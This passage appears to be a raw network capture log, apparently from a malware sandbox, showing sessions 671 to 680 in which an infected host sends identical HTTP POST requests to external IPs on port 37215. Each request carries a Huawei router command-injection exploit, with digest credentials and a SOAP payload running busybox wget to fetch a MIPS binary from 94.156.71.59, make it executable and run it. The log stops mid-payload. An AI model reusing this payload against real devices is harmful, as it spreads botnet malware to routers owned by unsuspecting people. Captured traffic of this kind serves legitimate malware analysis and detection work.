79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
671	192.168.2.13	40638	41.46.185.236	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.638443947 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
672	192.168.2.13	37932	156.242.158.116	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.639133930 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
673	192.168.2.13	51214	41.253.166.204	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.639863968 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
674	192.168.2.13	52172	197.78.160.7	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.640547991 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
675	192.168.2.13	47262	41.229.155.150	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.641252041 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
676	192.168.2.13	57774	197.167.195.153	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.641973019 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
677	192.168.2.13	41888	156.17.79.89	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.642678022 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
678	192.168.2.13	54252	156.20.242.161	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.643438101 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
679	192.168.2.13	50450	41.237.168.85	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.644239902 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
680	192.168.2.13	60718	156.152.171.196	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.644982100 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo 